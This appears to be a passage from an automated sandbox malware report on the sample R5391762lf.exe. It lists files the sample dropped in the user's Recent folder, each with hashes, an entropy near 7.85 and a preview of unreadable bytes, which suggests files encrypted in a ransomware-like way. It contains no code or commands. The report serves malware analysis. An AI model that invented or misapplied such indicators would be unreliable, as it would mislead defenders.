Preview:	EDCVN0.....@...."..b..l./.B.vL...8M...b.....d..Q.,.B..Z.".S.=.r~.6H3[6Sbn....s.s..i...l~..Q......i..OL..;%...I...S....eD....1W.l.O.WB~....vr8........Fqb..$.,.\|8.N1...Jo7C..O.b+..b.R.2..\|......I..\|.@.8CP.....Z..oj.l.i.h..........)...ySC.K.l....P......\|.k..".bm...n....m.(w...K0....3.$.FS....6.q..=.x..E.5....q]......5..(J....D;..e.$....4U..v.(B..#..CH....DO.=B...8WU.V$ivQ...>a3.j,Q.i.#'......:...c.....1F.;.G.....P%e.%..9...d.)..!...gg.c..]....".`7..(z;..... e...4..<j0..$....<.j.D.^.......`.M9.R.N...pM...B)..eX....k...^.....k..&T..}....r.....b.q....Q'..N..V.v~..uE....k...5s......}w....Z.......Gh7\..Bft=O...~;...l-.....q.v...7.H9...D8tz..$4Nf..!1Q..6o.6...5Y2..Sg...sxW.3fT..;..u...'pa...XN..s.u.l...=.U.8..SU..X;....p.m...mvV..{.y...w.^.._..........o.....Ix,\."x.+l....g.X.?r...j.+..d'F.\....d.?.$Y.0Lw.5@.....+....S8....F...UZ.^p...H .........{.Q.....4..c.`.B....2..&..Aj.....:......[B6...... 8..J.J.d.=...Oe.a.*.).._:J^....i..G..lq.D...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841341783371862
Encrypted:	false
SSDEEP:	24:LcrPx9efmCtSklHoSRMX9IMbcS87eCZV8U73Xq8uWbD:LU5emG5FPO9IWGCU73XFuED
MD5:	FCBD72CA50AEDD1D316F6534DE5F679B
SHA1:	0974B2BF5BFEDD486053B114A9B7C88120018E81
SHA-256:	A1B9471FC5D2951819FDEF291ADDC7D3B7E19945BEF430AE3166C41B232FF864
SHA-512:	BFFC06D212DCD12A9E1042E4375B7E502B619B5FE0D5210B4D7531B4691644C3C5C6B1D386AE2D7F1AFAD8D7EE248B3802996DDB7CA09232CA9A69D1AC4E933C
Malicious:	false
Preview:	EEGWX.....8.h57.N..QiP.\..\|.Krm?..U..9.I.....Q?b....3.eS.~......j.r`.../..lP.W....O.(..'Rh....{..+6.QS...+..zH..N.t.gB......H.i\..A.......j....y..C.)2^g.g.G!..F.a.b.$8.y..s.r.rFNB...9Jl..71...K......u..L^..3w`I........./..&..!C....7.rCLn..~.D..y.uW..;.Ip....V...o.._d}_...o.>...]...M.l.[>...e..S.@di.h.......W(C{...#.........j.^\D...m.....).-..w...n.......8.Ah;....R...2..K.....C.GX.,..Z%.;...G..\|DN....}.\|....;..=d..q...L.Lr...b...ZN.......2.K.......0...W.3..zg.e....Bx...GH...... .K..;.mod=.b<n..:xH..ql$..m.1@.....c...h.tm.w[......1.4.O.%./..H+..7...xQ....&-3........j6...L.2...<.L...7.N.B5-..%...5\s.bd..)....?..2.-[....m..[..e.'X.`.....\|...^.9. ....}w..k1t.hK..X..a..o....KN6Y....]C..:......$]...H...EG...8h.oR.E....r.Q...[.X3..!..9.^.G..r.r:...{.YA..h.(yJ...a.X.....Ui..`...'W....2...=A!u$.......K....m.Q(.N...V.9....T?........].`.'..0.f..o..M....Mk.cJ.\....[5E...1UG..5...*Y.F^...(...AL.b<.%E...0.2ocr.....x.p..-6.`.C.p.w...#.M(G.S.s,...E.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EVCMENBQHP.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841383486040263
Encrypted:	false
SSDEEP:	24:eMO6R5/u+4D0C/lx0Kzmw0MYhBlvlrktzH5R8RAmrtZLZo02z2I6Nj4dxoKiXq8X:+6X/+0C/TewHuzv5KD8XZ82x4foKiXFX
MD5:	230B9982C7BB0935FBD067FC15159572
SHA1:	6AE6E3FA6AFDB6538E4D77AA59870215F8CCBF71
SHA-256:	BBA80F64F8AD263B71E236DCAB07995202B5B7D134C9B4E31D0788F7CE8B5122
SHA-512:	F8286EA7A7A8790EBE365096F1FCDA118DDAFEE9132EDCCB7D7E021F52A77B855041862796B41F4B495E6BDBC8485BA2ECDB8D9051C44A75B459C67CB543070C
Malicious:	false
Preview:	EVCME.$l.X=..c{I.y.6.T..xH.....(.....8QE.i...............w...(rR......]..$..;Hd.aA..n.`frTN.E..w:.y.Q.Kgc .uKJ...2[.r+...L..J..o...l.C.3Fj....Q.P&..2m.2Gi.s..Q .8c.9\|&....6/..;..st..IY..s_...!..E..Am..3RpO..dQ.c'..L.nqp?.7...'..O....e..&.Y.MY5.7..d.S/...r....))l.[.IG..`v....f.8<{..P..5-y..;._5.........6.Tf$.q..=...$..C..C..?..0.e..4.,1$.<#.G.....Y.....H..`....N..<....Ey..6.i...T.)..E.G...t`.!...5.p.Lx^2.o_.%%..y.x/G.1...!s.W-..B.+.:...V..j.f.......7E..Im.1W.w'}..:...J.?NUa...Mh."]:.K_iuL...+V.5.hd=5ih.........>=."..n.p...L....Z...A2.,.3..i...Zl....z...W?.;F..;.aP7k3{....U.v._r[.OYp..\'.kv..@...$.7...O.i.E.......@....G.......'.}....n...Vu.z.@r..D...w^...n....cB."F.."...w.,.M..j.......w....B.Wv..b.....`.'..i..tJC..E+2V.Ggg.;........T.O.)..t.8..8.i..w...Q7!wE...R.wd.E.....PAE.J...J...3w./.Xl#..J.O&..g....4.D...#...EHo....w~...1\.........d..9....^R...........Uu......Q.td..8z. i.F]....&.vM:64..Yg..+.#.s..K...&:.D.#C1s.-w%Pe(.,.....Lqxq

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857921710318521
Encrypted:	false
SSDEEP:	24:U51IWdRWyFD1tHzogu3axSkRgPAxN8+dm88xdO66ZmKYhMMhNrzJHqofU5aOb1yC:K15dpD1JkgujYMOdd8x1HhNrzVqofAgC
MD5:	3D32EB58CD0C603EE3782DF852179C59
SHA1:	C74542A33EC8E1D0E38301F1539816BC33849EF4
SHA-256:	0B82D814F1B0BA947640A6FCA774066C2A09BB548A1010B46F29C3749C648A9B
SHA-512:	77CAB78BB3244CB05BE6322F24B1831D5F9462762250D48E4F35D72A250EAFEFE627221D6BAC843640ED76C1945116ED62B005055FA091D3EDB5E382C5637DAB
Malicious:	false
Preview:	GRXZD.u.....N..+....{x.....FE.<.7 y.g.QHI9.7..I..9.'0...N.S..vV..''.{..L%j.._.(..N.....P~.5=.`. ..~.E.6p....._.:.C.?.d.t7......#.[.Q.R..w.r0.>.?.)4..".k..^...;5.8...+.KDP.A'.\tZ..#{.6...I...Y.u.>d..xj.>.J}?.....U...{g}%...X....x...d$.......Q.."...u^u.8M.bq.V..\^.F+.G.%\.....I.........n.B.'^.\|.-.t.......:e.....@.L`..$+.B.:..Y.`..-....R..PLny .k.....cZ..r...K~..PN...q.L...-....p/.H..>..H.K.....]I@......Q .(..!...F!i.K.iYe.jzaG..E4..2.......P-M..i.V..g.-g..N......./o...?.8.c.pz..d.-E.b... ......dS.k.E<..P..W....T3F...[.....n.kR=..].4/#4...p.<.xE?:.n...x..c.....'s..w6..vI...K.'... ...VKI.+3..aF%..;;o...B_.......d...P!.......3...r.?.WS..; -...C.N).../...E..}/xyy\|.)..Sl.....P.g..[e.3/..m[Pb...}..{<.....29.!k...X.....f...!.y,.....:.Q..5...z1,..J....Kv\|.U..w~s...x!.....,\o..\|....I....#...N.p../......Y.4.e...-...?/..?~#.C..C.EO*..m.e.V.....v..2....Y.o..d.........h..n=...3.cke.M.$kv...jA..).!...1.6..}."._P.]..P. ...de<....&..i...Z9.2nW...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834440522137013
Encrypted:	false
SSDEEP:	24:QrxMoYVpgPwlBmzqy9oGFC0R6dlS7L0xIQdAUyQUc11NcmjwHPH+JPZ83rHJeXq+:QGXGwEq1X6UQEcqGPH+b+DJeXFuED
MD5:	36C4872A2F3AE1DE447572F333386D4E
SHA1:	44C5ADFD4C22615A186DFCEA26828EA5E1684060
SHA-256:	9A07A7C4A068918D5C0908CA36186E28411FFA074BA3946D71583DCF48D9ACF8
SHA-512:	559FAA5B4E80FEA44D33688AED4027537A3182CA6FD85E344CCCCAAB13615BFCB1D9B0837F6545E84B6B9AF96293B56B6AFE36E038D15F5D7866AE199F06031E
Malicious:	false
Preview:	GRXZD.O....I..TQ.6....\.od}...k...nV..$...P..J...a.>.h.@.Lq.....k.3"h......".......\|h..s9.....Z....L..`=.^x....O...(.....y..\|./..i1....<'G.....o.)..X..b5..r.....M7..".(ZJ.d..:...C./C...]...@`H.....'.x.K;x.X...~..>..9.8h..c....`]4.N....?:...$..e....8...u.f.{.m.9.&...'..l..f...............c{[>...A.8i.&.~Bc4..Z..1.....IG..!..q.+..v....W.9..\.O](HE..H_:Ql5GuH`O..6..o} .Hz ...m.......2.;....0.4K\.!i.V.4...6....P.,....]...wM.2.X,.....$.h.z..'w.M._P}.D...K....Old.3..,..~.......ij9\|...-."I.....B..h3..M4.9."..2Ds.L]8....6].&.^&.z.f...`....z......_...*....b.LV.0...i...~.w..V.f.~.J...9..U\@~f`f....r.H..=....r".+...>...;..d..e..E`W..B..x..J...q...-X..".I..ikn..e.<..[r.Y".i..o......q..P.....A[.R>2)...@.u_..K.E4.`Lh8.k+..r....w.....Zf.410... BP. .~.w[.......&....n.."{.:.....x/....p.S.f..I..o.?.6......`...J..H.t...o..M b.L.a..a<.u. .(....R.?./L...0q+..:..J.g.Wc.>......:.(.=.S)9..g..X...j.'t\|....Yh......@..E.....o]..o..N6[e.4I.3.Y..c....5......qg.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863849429475777
Encrypted:	false
SSDEEP:	24:uZMw/dHXE3KOaOL0el3xZDZ2DtsKM5fVRGI1Dl0sXoydf1aXAtwe+8tEE0pDlzXp:A1dHXgaOXl3/DZWqKM5fjt502RSS3ez5
MD5:	957D351D377FD667B212BC1EE7C4A60F
SHA1:	3D25C8695C962887CC9C1681CE810B690DDB7520
SHA-256:	8C6190FAAF83FB360FB630DD7A4091D9F694E2689E5B1CE37E92AC7DCC27D419
SHA-512:	5311AC098C41139E68703D26043483B909FD2ACB0FB4BD7735B69933687531AC55C2AD36122A57E46C693749FAB50B8F7CD6C192EA21109CED540F3ECAF11571
Malicious:	false
Preview:	GRXZD....q.ME+c.L..$.wA...qk.<.....?.....(...H....JW..h...tL.3...A.u.n.B..nT.o..{.N.:.......\|.."...`..]..I. $...J......<mS.P.$...#.]j2....P...r.mB...0....J.....0.^...B.6..~.VL.i`p.",..b......ad#R...K..z..."..H..~..5....~.F.o.J'f<..:.....`.%XN....N.[.+,...=.T..R.h...4..$. ...F.u.ao..G.....f8r...t.n.6..u3.._=I....t.gOG......e.~.2CW...ndS"..).....;Z..@Z.l.T..f.^3.L.\....k...}.H4.../.+.y3...`....f6.D.........7.]J.......(6..Z..tWv..c..o\|....a....S..J..V-...7.P.Pu..u!p........3n.z...e...-R....&.......X...7.?.v.._...6 ...R..P.KO.+..-.`(..B..'.M.x[_...N...^..G.......S.V-...H..`...kK\.../...6&.g*E.o..LTY.3.K.c]...W.T.c..m ....K&...F$..oo..w^v......p..B.ZL5...%..]...ABWz.^.a:.....%.8....U.....&.l...,.G.F...d..h...G.3!,xi......2.%O..Pu..D.+...!7.Z.J..ZmXD......p....S.!h.3.e......&@.z.L.(;....`.y..I.{...)c..........:?.\.iw..y..lfH..rp..3l%...T.Uu&W.....V.I..6.a.Ue..Z>..Q..K...[.b.g....b.N..1....l-.....>..\|............L..=7Y...k~w...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HQJBRDYKDE.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864615498060315
Encrypted:	false
SSDEEP:	24:Glr06QAAFK/KhL4pYccsN018eU7S2eDEyVoBVPnDqkUP5Xq8uWbD:+r06QbFK/rfanAyGvPnGB5XFuED
MD5:	C9C9698DF60AD7D17342C5AD619FA760
SHA1:	FF545442E75090BAA67160CE1ECDB46A14FEA789
SHA-256:	4B202747CEFF0FE2DD8E94BF3C6EC9D4501974EABA1628018F288DCDAB04EE94
SHA-512:	22BDE0641859BEAE2B307F9727C386CCE30D9B09F46A96D3BF9374D51A92108A51274286936FE2622869E9BB46F824B0E106860CB69C6CB237686E0936D89732
Malicious:	false
Preview:	HQJBR.../.3.R-...<).E)....{J.4.N.o5..3...'..Xm.S.e!PI.!l.2G\|.6.>.c...W...O~.wm.\|..[.@...?P...u......_u...D]....z....WM].d,.[R...../..D...Q.X....6W!..b....c..)F.G....R.A........n.0.zC.j....o.f..0.z.r....O.LCJ.m.?].}u<.5.I.w...j.t.....PW......#.v..^X.T.}.v.o..0....!.\......2.Q...V.[S.X.m.B...`%......x.g.t.CMw.....Dpu..jp.U...k.W`..MU.v[~...~-Z........zz....4+.h.=.8.:.=O...o..e0..K..L....#K.......fT.WX.0/=UD.......5..$..k.I.2354e.....A.H..J...B.....[.c.t..x."..WOG....3.}WM..$h.W+.1..&a....%..../.6.D.....e...G..T0....n...N#V.R.K^Qb...CLE./Jv.rW...mS...D..A......7.e0my.9.,......!l.....dDn...>.D.b..y...'...\|..S..hH.....2...pX.o#>6...1...;h.36.`......P^....\|..$.._.'.~!.....:0..,=..]Tv....3T...`......ZX.....X}.zKE..H...........\.w..'?..gP..e..`n....TW.=I .....yv..R..\|&NA....6....<.k.Mn..-{.v=.2..T.O.S6...E...>J32...$....~p.......Hl..VO...L..w..f.d.Au...%e.X......Gh2..;.V.c.<..8.s`....:.V..%x.lift..~.t%8.*(.2.!.5KXZ...e.(....'hb.M[

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861442814790613
Encrypted:	false
SSDEEP:	24:pFgI86h4HWnwP7S6XVsp4arAQ0xbe5+VlPbQnY2HR11NfNQhCg7BaYuXq8uWbD:xh42nwDs1rAQ0xv6xZfyhCnzXFuED
MD5:	1CAB6E5CEF6A00E4F8B40547BF4BCB0E
SHA1:	2E427829272BB1B668D1F1D42D6807DDF872FBC4
SHA-256:	1BDDE1AD59718BC327D765D86D72B6853FA609BA03D553038FF0F4E5C988F298
SHA-512:	6738696D53D39594B322661BAD5443502B8AF648D89CD608ECF809E0ED67B59CA6CE2D6B4D3D261C4C7868A12E4D6C451D5718E65338951247D398A1E72686D5
Malicious:	false
Preview:	IPKGEp...}...v7LU.m.6Eo..J...L&.....J./'...`..(\|(_.I...Y..4.X.BdD,.#I....Di.2....W<.j......i.l.....v.../...w."M.(f..1u %..x,L#qj:..OP.Y..O.U.....]k..2..Z#C.....w.7.#.1Q.).K..x....-...ERN.Z...z.dn,9...l.{...... ...\.hbHi?.j....am...9...M.3...<oH.h..n2F..8...ykk........6,.z..)LN...>..t.......cd..+..1m.,,.7../..q..u5.....3.@K.9G..S.j.....!..$.....iVr.7...:..:K.4..G.Y%....>~...d.....p.....b\|2..R.........=.$.#.P!....../R....e0E>4.1......b.^..aV.h..-.^qe.O_.-e 1\|)#M..h.$w.....X.DU:..%.t...:.4s..b.i+..1....[...o..5..-....dR]....M.J\|4.h.......S.)_HC.ik...^-.}:...\|..<..>.K@.\.ha.?.K..C.Wa....?..,.3>..2u"=..13r.7..2...5E.b.....p^..{..V.)w...5..F35j..S....i...+.rg.V..:.R3~x..y.j.=.t/..m..X{x%.1.<...\|\|P.MvR.;.G....l...h... G\|.V_w..e.z....kN...B..%.5t.w).&.<....A.IO.~..3`...5E..sL.....\|...1){U!..y..};B..o..G2..8&..9A....B.B.tp....k..&...S.k$....X.=."..>j?....Q.....H.Uan.'@.$...S.....6...@..h.{bY...o...5.3.R.H..2.. @....M>>.......^......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865447476053371
Encrypted:	false
SSDEEP:	24:VVMg0q696/cLZgLMng9TZmyVN7CqN2BXkUKQMoj1FMsCts3ZOWO/Xq8uWbD:Du6/2ZW9Eyn7C3XkX5ozMsCtCZZO/XFX
MD5:	F06E490B8F5AD711938A90F07C4C27E1
SHA1:	57664BE84A2DF1D32534556A9E8D978E21D42BFE
SHA-256:	426B4AFA3E17DF0655BD4D06CA1131D4518544B543A95CD76E126181F12B6F2D
SHA-512:	D3FC0F779D4D64AD3317E71F1CD60F02BC261315268EF4A1DD852C57FA2D07CE5CEAC2A0B9DEAD7AC59DFB74FA77DD896D7513636E7FB42B36ABCF72519B6FCE
Malicious:	false
Preview:	IPKGEy...{.We9..AV.g...Wh...z.q...6o.~..\.....K.,V..k.)/..Rnci.n..F4.:....G..$..].".2...\b....r^..c2..V..,..Lo.?.....2.R..,..&z@.@Q..J.%..U..'.}.~....z.D...k\Z.B..O.F..Q..\|?.z.\|......+....pp.L..>....g...P..C...Ur.....+...}..,..J.(J..xg..f..\|..`..^.z....]..H..=........q/`j@Sc..h...G....4....q~.......O..Y...%1........V..)(arq..............I.s1\|.3X.5....6.Hs#.X=x..z.e..IP.x..8.8F..y....nP......T?.t.-....=...2(..B.r.\|; \.k?.Y5z..0......C.........^...$.j. ..+..z.y.C.:S.......[...+.8.<.......r+.P#.J.<mi'..V..7..lW.+....C...{J...+..{}.P..\|...[.$....Lh...qu...G...H.....%W.?..ue.=......4\|...3....CE...,..`..m...V......m..p...-.B.@..\T.+Q..F.4..t....M`..^....+....`#B.Tv#:_`......Xi..&.%.&..@6_....i..U.E...A.5<..+!.....0<.Qp..G5..7..b!1w....'...T.l....s.S0...}.=.rM...\.;.l......YZ....flw~,...h.w...3...W....L...X8z].l.."9..gd..I..+.x&..,.}R.......m......C.D.>.t.6@.ia..~}i...Y...\|..''...)/.. ..h.....'.y.s1..n.}.+...E.]=.^..3.#H.,...>...h.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84731879319899
Encrypted:	false
SSDEEP:	24:blIKe6sf4yYdJUJhM5xMr1HBFXZVwZuMroaLdDTQLDRGnyfWtC0Cde9kXq8uWbD:he9f/MT4l1EuMBLtkL9GnyuA1e9kXFuQ
MD5:	423C15DB1CF536F2800248A739190A3D
SHA1:	0A4588368321954A4582051B04949B7BB4CA47FA
SHA-256:	6BDDD4B920E01B85E17511EB4745352C3D0C1A74C3F319A09716378760765D52
SHA-512:	303E4061FC73C9CA518E3736AAC0F78F357F9CEC4C0633BBD2659C2799BAC560BF84CFAA19D931292F7A70A853E058958888F992258C0A8B575A3E852707408D
Malicious:	false
Preview:	KLIZU..w...e..1.....g..Y....f......D...b z..l2.....,.;3....F...&b?....O........ov.9...!T......&4d1.i.j.................c....l..D#.B.NO.H>1.hMuL..k..V......v..7.?10)...q.<B.w.kD.].(u.~.u~.....j...V,tg...9^.^.S...wHC2N..g.W..Y.J.?..b@Mw.N..$. ...36......b.U<....?.3...L...1.J..)........d.d...t.....3.....`..R.t0K..k`..8.....].O.....+.b"s....^Y....v"T...J$-.".9\| %'.jEv..../..7#........Y..B....P,.$,..s..Y...<}n..[dK]..Pe...54.J..<..A.Jy.......c....z...5g.o..2\|.8".Q...V.`Q..Y...M0.,..M...2E>).0.........N.)..Yy...IE.b.....8e.....v.-...*...w..Z.YI..}....V.Xb...ON,.cZS<.e....U...P..^b...........F..5U.\..0..}Z..R.p....T..#.r...Z..2...k..._!4......1.Y...ot?.......a<..i.7k..z=.......S...e..p%5.9i2m......S"z.]c.qq.]...$...p5......0@W.....o....f.3.V.K.......... P..\%xI.>{.....H.Tik.M.+g....1..Sp..@V'....G..K.....D.>K.......ab.9h.....]..:>..m..Y.,.?...=....... w.....>..L...r..G...04..Vx6..0.8.....`."...y..p.U`..qG.O........(........@T.z.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865324033123052
Encrypted:	false
SSDEEP:	24:bOwu/JVPEEoK0BjnR8z/zoh03m4rP/HhmG6+hXPUxnKC1qHO7t1Xq8uWbD:sHPEEo38bzm02U/BR6a89KCIHOp1XFuQ
MD5:	85EC20EC001A73D12468EDE348869E6A
SHA1:	EF103AE952299207C21727F4E511F785E94D07ED
SHA-256:	7B8A45E52AF24E3FA959C715BC3ABBCB65576461364A5B9F1DFFC222285BB7C7
SHA-512:	98770168D19865216732468AC007B568CDD84F8AE7114242131B8CF5AA1469B53C58AEA4FE8E75CB4E5058E4FB20C345216A157E1C1D0562795B7961DD63E6D7
Malicious:	false
Preview:	KLIZU..\..vX.......Q\|....}6..z..H09..&\.r.!...A..4..y...{'cCr..>.{.I.n.M.l... ..l`.6..K\.D...5.@u..Nl37.._.w.....R...L.s..8.?..}0.<...\|P...=......A!n...l..3!O1..C.P.g3..c...^~g....-.>.j......~...G.....?.W.z!Y.C.[.L...0...ot.....~H.h.G.S..?j ...K..}.....!}L..o......?.l...tc:...`..e...M.+....o..>..WL..8.....i.7.......N.Lb....<.I....t....\:5..$..6_....^.{.H....B(h$I.Lf.."n)#.o..@b,.TX...;.}.+.@a'..X.C)../7..[......b.2T.....^W..O...G.?4..}..Dz3....r...N.Iwn....Q-.v.......C.^....D$dI....Jy...o;.Cb.Rp.....Q6....7.z;m..;M...G.}...C.....e.9.a...J.}...........J<.d.BA..W..5.C.(....~.%.E.%.\|..]...P..gkt...vC..\|;dg.V.\d....E./V...b[.L!../.y.."..B7..y..T.WX..<...O_F.1l.L.;.]..j1.\|.y..>.-%.....k.'..o.=.?.......[..T...1K~.a..[...,....7..%.G...k.....,V..C+...J.Rq"$..Q`.ybE......d.9.f.....Jku.....R.{........M.S..AT....V+.V............/.u=....-Y.......g\|u.........1$.L..g..'.G .cZ..P....,....G......H.J.L...`.YM.rK.^. ....kq.gE.$...O.IP..2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856069246447018
Encrypted:	false
SSDEEP:	24:KBsARP1m0Cgc41nxIUAAwguVdlRRQ3n4kE/wH+sL2ywOGgWLrZ/0zXq8uWbD:KrQ7F4dxIhhdRQ3nrE/wHDuOSrZ/oXFX
MD5:	AD81A049F8ACA5401A4E707C299307F7
SHA1:	201FCA78B1E96DA8A3D2B5A58F6216F510A43740
SHA-256:	93C49A7CB097CC2FBAA41EF3F2FDA70EA0C318DE34ACB8635969316DBD930F57
SHA-512:	E2EC695B36A6059CBE46B59D818E36B141E0A38722B4807F5C06581CB249BB6A899E1521B97A49455604614F7BF9EE3347832FE31206CDD91FA3F5BFF9AB114B
Malicious:	false
Preview:	LSBIH......\.Z.n....#....;..>..Ru.Q..,)O....<...%..w.Y.V..$..S..2</.._<..r..F.C.[F...F...'V..6.^y4......3.z.#....$.6...3..o...9.....6..e4...h8&1......g..!...T......T......T`zy.w.../kSnP.-.T...G.>.&.X5.".b...R.p.is..,\|.q..c.$....Y.].mz.EI.._...].L..Wu[.....3....8..-..5Urq..y\|R$@.lk8.@.E..$>.c..a.)P..bVK.s...............2Ke .-..#z.l....6....{..h..3...T..F.7.!.e$.P...5hz'..H]..x<N..G.....0.'@...\|'../q.+....=.........8..y.NG..x....B..kHL6.\|..K.t..Qi....e..Q.r...l...E.d.H.....\Y"g..-E......'D2.o..R...#.._.l...p.O&^....a!O.B.d.q...a.f.......;.......{....,0..3.;k..o....8<...]..Zy..G.V.Ny.B..@..@.r....e\.We.r./.2.f.-.._.4.l.&.}..N/...Sb...........fd;....):..4....by.Y.i...`.4........e.@<P..~.9..1....P#.U...m......y.f.hu....q#.0.(E;..s.o-....4....7.G..p..i....>.S.(..5..tu..6M....R..#.s.so...#@.N-.A..Pi..A.=edE.....\t.=..jw1.'.`D.D.(/.,...\|.=......= +.+...IR..KU.2fi......../....:.S.d...<\.\.V.M...'3....U..<U.">./.\|....O.....<...n..E_0.....J..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864772726363262
Encrypted:	false
SSDEEP:	24:lnz2ToVghMW2ntARAWaNydAQc1oYDZfhvj7ZvJPlMKHeoRgzDNYZIwffufkTXq8X:lyToVghMW2uRAWarQ8rj79EweOgnWZIw
MD5:	F6957341A8CCFB6CD1E43B7F5F908A02
SHA1:	729A98A71E4043BE347595E7A901DBC5D4243815
SHA-256:	A312E4F47CD395CE0A859D259D4F961A6D1086D800DB42D13A46BD2E1D1C53DA
SHA-512:	3477E44EEA898C6A3DD83DA20F3321A39859EBE7197B1DEEBEBE94F3A04D96EDB8848E0CA0C3488DADCF4EED246422EC622B45000464915277A987FA148D1137
Malicious:	false
Preview:	MXPXC.p..7...8Y.Q[.T..NA.Xo=........6)@.o\2{.l....7?.SB.4..a....nmED.LP...$..A.Lf..s.%Q.p...a?...u.hp`b.z..._.s#.n?.......43.aI.../...}.%....~..\|B.F.v.K.~....}z.<$.nt...Y......-.m...<... ......N.&..m..x... A......;.G.=ef..$..[(...~\....f..d..t$.S^.`..,..9..B...b....\|...)~u..B.q..+..=b.......!.:.l...X..\|B.]n..W.I...f.Q.n...I-U9..A........t{A.U....[...;.V.....cZ.c.kR..8...>q.~..q.... +=.d..... z.'.......Cv~.If`.>.Hm..&....wJ...M...:......#.W#.Do......$7.k.G.V4..w.;..^c%..s.8P\|PI...6#jZ..._.I.....p....9...z0.....G^l..[e7.{.rq.Pb.d.-..L.C..T......Oa..~\|....l(..i..\|..x......x.x..c.f.X.@.....................5..G....#.,.0o.}B.6.a...u{...m.7.....m!.......CWQ>.p......>Q..s..L.v..M.SN..#%y..Q.]w..H.c.=..0u...1)..\......x.pY.J.......C.Z...r6.63E...gf..M..yF..Tj>.D..u5.y<..#.......B6T0.V.S2.}...a..^...K...@..H.s..]...g.\|......Ux...!.0E..v..e.."8.9....<4.0.......).D&.GR.@..$CX.e.].0..Xl.f....qJ3m..{..}#X[...U......E....0.D..V\...S.m..u...y..t.3.....?..!.X

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852952712424497
Encrypted:	false
SSDEEP:	24:vRogybCB9JicpPJtqvoDB2l4Up2Vgs641apS//0w6N4JiTNR+ESAXq8uWbD:ifup4W2e/d641N/c0GNIPAXFuED
MD5:	95A90C69896EA55A46D42C227043F6D3
SHA1:	21A10EEA0C1CC609464C120DF9CC3D458C7ECAAF
SHA-256:	9B1BDF606AFEC76C637DA4F154EFB6E33A7E53B21C9A1DC23B7EFFD6A6FB8821
SHA-512:	35F7295CA4D608DF4BB42FA9B8A03038E0B402E1AC4B1EAC6BE9BFB08A908A235968FDAF20F7B2973F79740C86190C62F55AC226F2DDACF996EF20E02612EBAC
Malicious:	false
Preview:	NEBFQ.o..7.N..Kkc%..2.....k.N.....V...3h...[Z.JZR..5/.Im.6.R...k?M.......CTR.u.H.....4.0s..........0HD./`YD.wu...k......W.f..zm@.TB\|W:..=....xv..`..IY....H.^..(]..it{...{.].3... =.,...(\|U........p5A.#eQ....H..X.P.}[........n.s{g.O.O.....].b....j..2..?Qr..n...3700H.6`...\........g....#t..@g...}...........Y.Xag.....$..`.......ESIf.v.......e..c..Y.1..]..8.`...6..........E.l.#.. "...E.4..T.......Te..+&...^v.[.......G.C.O.3.w.P....q.\|......5...=j5...`+n.C.}T.n.........6.......G.1.UV...._]."/`..u5>r..u.lXK_.9.........tR]....T.4c5..X.;......2.~y..f.a...S......<R. i.....e:0..5fm!..'.GG..LgO.=;..M.?...A.@h.;......6.^.D...XO..{8B_...j..c+.+.E.vy......hM...u(i.^..}T2..9..g.GN&~...mnB.....BY>...w..9p.~]A..a.:J.....e.e......UKN<..6..0...[./`R..E.Q...-E...\.q@.'.....g.m8qe...]$..".....#....y0 .T.\|......NXX6...D......N{v.%0o_&l....d..=.f.5..&...<1,P.P.Z.5f.p....6L..0.t^.n.<..:...do].].j.}..y..........p...v..i..C2.\|...V/..{.x..mnO.LR.n.ze.,Fo.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847391341659271
Encrypted:	false
